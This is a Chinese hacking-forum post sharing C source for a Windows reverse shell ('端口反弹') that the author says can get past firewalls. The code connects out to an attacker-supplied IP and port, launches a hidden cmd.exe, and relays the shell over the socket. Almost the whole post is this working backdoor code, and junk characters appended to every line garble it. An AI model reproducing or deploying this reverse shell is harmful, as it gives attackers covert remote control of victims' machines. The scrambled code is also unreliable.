社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3830阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [dy0aR$>d  
p'kB1)~|  
/* ============================== by$S#e f  
Rebound port in Windows NT S;SI#Vg@  
By wind,2006/7 !KtP> `8  
===============================*/ /~{ fPS  
#include :j[=   
#include Bxf&gDwjgr  
IN@ =UAc&  
#pragma comment(lib,"wsock32.lib") "td ,YVK  
] u\-_PP  
void OutputShell(); K_Kz8qV.?  
SOCKET sClient; ^YB3$:@$U  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )&[ol9+\  
r.' cjUs  
void main(int argc,char **argv) o,qUf  
{ K8uqLSP '  
WSADATA stWsaData; >CYz6G j  
int nRet; geNvp0  
SOCKADDR_IN stSaiClient,stSaiServer; ] V,#>'  
m'eM&1Ba  
if(argc != 3) $VeQvm*  
{ L;U?s2&Y  
printf("Useage:\n\rRebound DestIP DestPort\n"); $*j)ey>  
return; t; @T~%  
} Dc3bG@K*G  
@Ll^ze&HI  
WSAStartup(MAKEWORD(2,2),&stWsaData); \98|.EG  
{A\y 4D@  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pYj}  
gb26Y!7%  
stSaiClient.sin_family = AF_INET; '/fueku  
stSaiClient.sin_port = htons(0); fS4 Ru  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); d&X <&)a7  
SpM Hq_MLM  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 36d6KS 7  
{ yW;]J8 7*  
printf("Bind Socket Failed!\n"); ~"cqFdnO  
return; ,[u.5vC  
} lGEfI&1%!  
17lc5#^L  
stSaiServer.sin_family = AF_INET; Aj+0R?9tG  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %.s"l6 W  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5ZjM:wrF|  
RCMO?CBe  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,ysn7Y{Y  
{ oYX#VX  
printf("Connect Error!"); mW#p&{  
return; :+ AqY(Gz  
} ~Dj_N$_+9  
OutputShell(); Lmc"q FzK  
} lmx'w  
{WuUzq`  
void OutputShell() #Qd"d3QG  
{ Gu%}B@4^  
char szBuff[1024]; (y?`|=G-xT  
SECURITY_ATTRIBUTES stSecurityAttributes; wTn"  
OSVERSIONINFO stOsversionInfo; \P9HAz'6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $kh6-y@  
STARTUPINFO stStartupInfo; )z7+%nTO  
char *szShell; \Bn$b2j!%  
PROCESS_INFORMATION stProcessInformation; JjG>$z  
unsigned long lBytesRead; ZRYHsl{F+  
+|Mi lwr  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^%x7:  
7.B]B,]  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Cce{aY  
stSecurityAttributes.lpSecurityDescriptor = 0; 74a>}+"  
stSecurityAttributes.bInheritHandle = TRUE; \)BDl  
/pz(s+4=  
yV5AVM o  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L)_L#]Yy  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); sX]ru^F3  
Jek)`D  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @W!cC#u  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D?P1\<A~  
stStartupInfo.wShowWindow = SW_HIDE; )%9 P ;/  
stStartupInfo.hStdInput = hReadPipe; $c24lJ#/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3qq 6X?y*  
d<v)ovQJ]  
GetVersionEx(&stOsversionInfo); 1{bsh?zd  
lHSu T2)x;  
switch(stOsversionInfo.dwPlatformId) ^BQ*l5K  
{ S.NLxb/  
case 1: `L {dF  
szShell = "command.com"; \Zo xJ&  
break; ]39A1&af}  
default: q}%;O >Z  
szShell = "cmd.exe"; 1ogh8%  
break; Z#|IMmT;*=  
} M2y"M,k4  
=#{i;CC%  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *M()z.N  
b+mh9q'5E  
send(sClient,szMsg,77,0); QP4`r#,  
while(1) Js!V,={iX  
{ 30$Q5]T  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <@:LONe<  
if(lBytesRead) BW%"]J  
{ f m'Qif q^  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ( O/+.qb  
send(sClient,szBuff,lBytesRead,0); `xd{0EvF  
} hh"=|c  
else "K-2y ^Dl  
{ @|J+ f5O  
lBytesRead=recv(sClient,szBuff,1024,0); s~Od(,K  
if(lBytesRead<=0) break; zmh3 Qa(  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); U)gr C8 C  
} *dm?,~f%<  
} C6(WnO{6  
(eJYv: ^  
return; 2j7e@pr  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八